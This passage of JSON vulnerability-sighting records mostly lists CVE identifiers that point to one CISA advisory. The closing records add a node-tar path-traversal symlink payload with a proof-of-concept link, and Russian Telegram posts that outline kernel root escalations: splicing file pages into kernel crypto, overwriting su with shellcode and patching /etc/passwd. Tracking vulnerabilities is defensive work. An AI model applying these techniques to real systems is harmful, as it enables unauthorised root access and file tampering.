"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31402", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:24.429830Z"}, {"uuid": "5e51146a-0a72-4e30-a358-16112e65a8bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31403", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:26.805741Z"}, {"uuid": "d3afd07e-87cf-4617-baf2-63a0f70020e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31411", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:29.178765Z"}, {"uuid": "811e8e0b-46a5-4113-b65a-f44ec653e43f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31414", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:31.560828Z"}, {"uuid": "db955746-b71f-4ce3-a3e5-313aef254f45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31415", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:34.136729Z"}, {"uuid": "93954db2-6135-4839-ad90-e468c4367813", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31416", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:36.506814Z"}, {"uuid": "660a8e57-11a0-4522-81fd-214f2eaa6ec3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31417", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:38.897617Z"}, {"uuid": "41e0a9ae-e5b7-49ea-ba7b-f08c4d6e52d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31418", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:41.284967Z"}, {"uuid": "a4fbb9e7-bca3-40bd-bad0-83308a30c71d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31421", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:43.672780Z"}, {"uuid": "31fac5d4-d37b-4e1e-954c-b334e686b6d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31422", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:46.057581Z"}, {"uuid": "67706fac-9cca-4cb3-9d42-09c93f02b69c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31423", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:48.421520Z"}, {"uuid": "aa6238ab-f74b-46cc-bcec-bb895c264d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31424", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:50.979852Z"}, {"uuid": "2500f801-2ba3-44ec-ac27-ee3f1e96f007", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31427", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:53.353151Z"}, {"uuid": "004e4ffa-3efd-4116-80a9-2ec72d3484ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:48:58.108647Z"}, {"uuid": "1b43c5a0-68d5-454e-a152-f20685130ac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31441", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:00.520929Z"}, {"uuid": "01bce390-11ac-4137-b525-ad9d95793aa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31446", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:02.885722Z"}, {"uuid": "e678616e-0002-4bf1-a4bd-dc0fd83d6f85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31447", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:05.245111Z"}, {"uuid": "a79230d3-cd4e-49b3-8535-c41791f2f5a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31450", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:09.969255Z"}, {"uuid": "7979dcac-ad32-4c0d-b30d-1f154839d405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31452", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:12.338808Z"}, {"uuid": "c72d1a92-2587-473b-b93e-a49e0a00ee2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31466", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:14.717922Z"}, {"uuid": "8d3f08e4-74a6-442d-b5de-090148dc8d4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31469", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:17.085962Z"}, {"uuid": "aa2904e3-461b-4eff-bead-e05b433b56f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31494", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:21.835929Z"}, {"uuid": "02895182-c003-4424-82ff-5285505305c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31495", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:24.204529Z"}, {"uuid": "200395b0-4dbc-4860-8eb8-2fe53eb1e2c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31503", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:28.944949Z"}, {"uuid": "2f98db22-44e5-4cba-af35-76b5e0785c67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31504", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:31.331295Z"}, {"uuid": "bf367903-32fa-44b2-a584-c66f5231bb19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31507", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:33.695348Z"}, {"uuid": "078a1865-dfc5-4350-b1eb-833b26b6ea43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31521", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:43.362156Z"}, {"uuid": "718e8cca-d862-4a70-9255-63eb6a36d446", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31508", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:36.085462Z"}, {"uuid": "2abde557-8f46-427b-9410-6f317fa3e7eb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31565", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:55.358879Z"}, {"uuid": "d8cbb517-cbf3-4c0f-a9f6-faae60d07df8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31515", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:38.439320Z"}, {"uuid": "d0750d39-27b4-4da9-9fc4-8f4a4fbbd6e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31518", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:40.967735Z"}, {"uuid": "aa30994e-bab9-43a8-ae1f-97399f77bce0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31634", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:00.246089Z"}, {"uuid": "964f59ad-3b74-4dfe-8997-ea088fddcfab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31761", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:33.579912Z"}, {"uuid": "ac6c6688-73d9-4409-bc81-dbdd83052158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31533", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:45.738511Z"}, {"uuid": "1ed1e35a-5580-43e3-a2fe-78893019cd91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31555", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:50.610896Z"}, {"uuid": "f08cdb4d-c56a-48fe-a4d6-495cb8748f4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31563", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:52.979866Z"}, {"uuid": "d9ae9875-7e0b-41a1-88ae-688c1e7d4e8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31628", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:49:57.737946Z"}, {"uuid": "5316e7ae-e5f8-4a79-9a9b-2b31d7dd66af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31649", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:02.617001Z"}, {"uuid": "5f326885-1cdf-49f4-b6c3-66d62ba98df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31658", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:07.363364Z"}, {"uuid": "0d30a216-9649-400c-b9f4-1374f272ae6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31651", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:04.985921Z"}, {"uuid": "886bc9dd-253a-4478-bfae-5f88b6987f96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31664", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:09.729515Z"}, {"uuid": "0c65dcf7-0459-45e4-992e-9f0af62087e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31665", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:12.104271Z"}, {"uuid": "a17d9bf6-a22b-441c-a6cd-c6bc8b74c73f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31669", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:14.482954Z"}, {"uuid": "41be54b1-7b3d-41b9-8346-a0753f1d85c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31670", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:16.922298Z"}, {"uuid": "cbaa8d60-4453-45b0-ad78-7270bc94c712", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31671", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:19.319008Z"}, {"uuid": "b735358d-a2bc-4ebd-a550-5dfe95c8a4a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31674", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:21.684310Z"}, {"uuid": "aec790d6-1516-4eb5-9297-5921a79293f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31680", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:24.046335Z"}, {"uuid": "94b08b92-53a5-4872-9b01-dc3c64dfdb0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31682", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:26.426567Z"}, {"uuid": "e3e57439-65ac-4076-b999-cbb6c1cb3f52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31737", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:28.812144Z"}, {"uuid": "92929f4e-d610-45c6-8e37-31a3afa41118", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31752", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:31.193499Z"}, {"uuid": "ccd438b6-835e-4030-bca6-24eac65ce6d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31768", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-209-04", "content": "", "creation_timestamp": "2026-07-28T16:50:37.848966Z"}, {"uuid": "347d96c5-265a-48ad-a797-17d24665a4dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31802", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/324", "content": "CVE-2026-31802\n\nnode-tar is a full-featured Tar for Node.js. Prior to version 7.5.11, tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction. This vulnerability is fixed in 7.5.11.\n\nGitHub Link:\nhttps://github.com/Recorded-texteditor120/CVE-2026-31802", "creation_timestamp": "2026-08-29T00:00:31.384611Z"}, {"uuid": "80686685-444f-4678-a3e2-73f793cfdafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/zhatez/2579", "content": "\u0410\u0441\u0442\u0440\u043e\u043b\u043e\u0433\u0438 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u043e\u0434\u044a\u0435\u0445\u0430\u043b PoC \u043f\u043e\u0431\u0435\u0433\u0430 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0434\u043b\u044f  Copy Fail (CVE-2026-31431)\n\n\ud83d\udc40@ever_secure | \ud83d\udcaa \u041c\u0435\u0440\u0447 | \ud83d\udcb3\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u0442\u044c", "creation_timestamp": "2026-07-28T22:00:05.295336Z"}, {"uuid": "902bfda6-5fee-4b35-ba2d-fd437d95e57a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/zhatez/2587", "content": "\ud83e\udde0 \u041f\u043e\u043c\u043d\u0438\u0442\u0435 Copy Fail? \u0422\u0430\u043a \u0432\u043e\u0442, \u043d\u0430\u0448\u043b\u0438 \u0435\u0449\u0451 \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 \u044f \u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e CVE-2026-31431 - 732 \u0431\u0430\u0439\u0442\u0430 Python \u0438 \u0442\u044b root. \u0411\u0430\u0433 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e-\u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430, \u0447\u0435\u0440\u0435\u0437 splice() \u0438 page cache. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b - \u043d\u0443 \u043d\u0430\u0448\u043b\u0438, \u043d\u0443 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438, \u0436\u0438\u0432\u0451\u043c \u0434\u0430\u043b\u044c\u0448\u0435\n\n\u0410 \u0432\u0447\u0435\u0440\u0430 V4bel \u0432\u044b\u043a\u0430\u0442\u0438\u043b DirtyFrag. \u0414\u0432\u0430 \u043d\u043e\u0432\u044b\u0445 \u0431\u0430\u0433\u0430 \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430. \u0422\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f - \u0447\u0435\u0440\u0435\u0437 splice() \u0437\u0430\u0433\u043e\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u0430\u0439\u043b\u0430 \u0432 \u044f\u0434\u0435\u0440\u043d\u0443\u044e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u044f\u0434\u0440\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \"\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\" \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache. \u0422\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 AF_ALG, \u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u044f - ESP (IPsec) \u0438 RxRPC\n\n \ud83d\udc40 \u0414\u0432\u0430 \u043f\u0443\u0442\u0438 \u043a root. \u0412\u044b\u0431\u0438\u0440\u0430\u0439 \u043a\u0430\u043a\u043e\u0439 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f\n\n\u041f\u0435\u0440\u0432\u044b\u0439 - \u0447\u0435\u0440\u0435\u0437 ESP. \u0421\u043e\u0437\u0434\u0430\u0451\u043c XFRM-\u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u044e \u0441 UDP-\u0438\u043d\u043a\u0430\u043f\u0441\u0443\u043b\u044f\u0446\u0438\u0435\u0439, \u0437\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b /usr/bin/su \u0432 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d \u0447\u0435\u0440\u0435\u0437 splice(), \u044f\u0434\u0440\u043e \u0434\u0435\u043b\u0430\u0435\u0442 in-place \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0438 \u043f\u0438\u0448\u0435\u0442 4 \u0431\u0430\u0439\u0442\u0430 \u043a\u0443\u0434\u0430 \u043c\u044b \u0441\u043a\u0430\u0436\u0435\u043c. \u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c 192-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043f\u043e\u0432\u0435\u0440\u0445 su. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c su - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root. \u0417\u0432\u0443\u0447\u0438\u0442 \u0437\u043d\u0430\u043a\u043e\u043c\u043e? \u042d\u0442\u043e \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d, \u0447\u0442\u043e \u0438 Copy Fail, \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u0411\u0430\u0433 \u0432 \u044f\u0434\u0440\u0435 \u0441 \u044f\u043d\u0432\u0430\u0440\u044f 2017 \u0433\u043e\u0434\u0430\n\n\u0412\u0442\u043e\u0440\u043e\u0439 - \u0447\u0435\u0440\u0435\u0437 RxRPC, \u0438 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u043e. \u0412\u043c\u0435\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 - \u043f\u0430\u0442\u0447\u0438\u043c /etc/passwd. \u0421\u043e\u0437\u0434\u0430\u0451\u043c rxkad-\u0442\u043e\u043a\u0435\u043d \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u044f\u0434\u0440\u043e \u0447\u0435\u0440\u0435\u0437 rxkad_verify_packet_1() \u0434\u0435\u043b\u0430\u0435\u0442 pcbc(fcrypt) \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043f\u0440\u044f\u043c\u043e \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0444\u0430\u0439\u043b\u0430. \u0422\u0440\u0438 splice-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0442\u0438\u0435\u043c - \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 root:x:0:0: \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 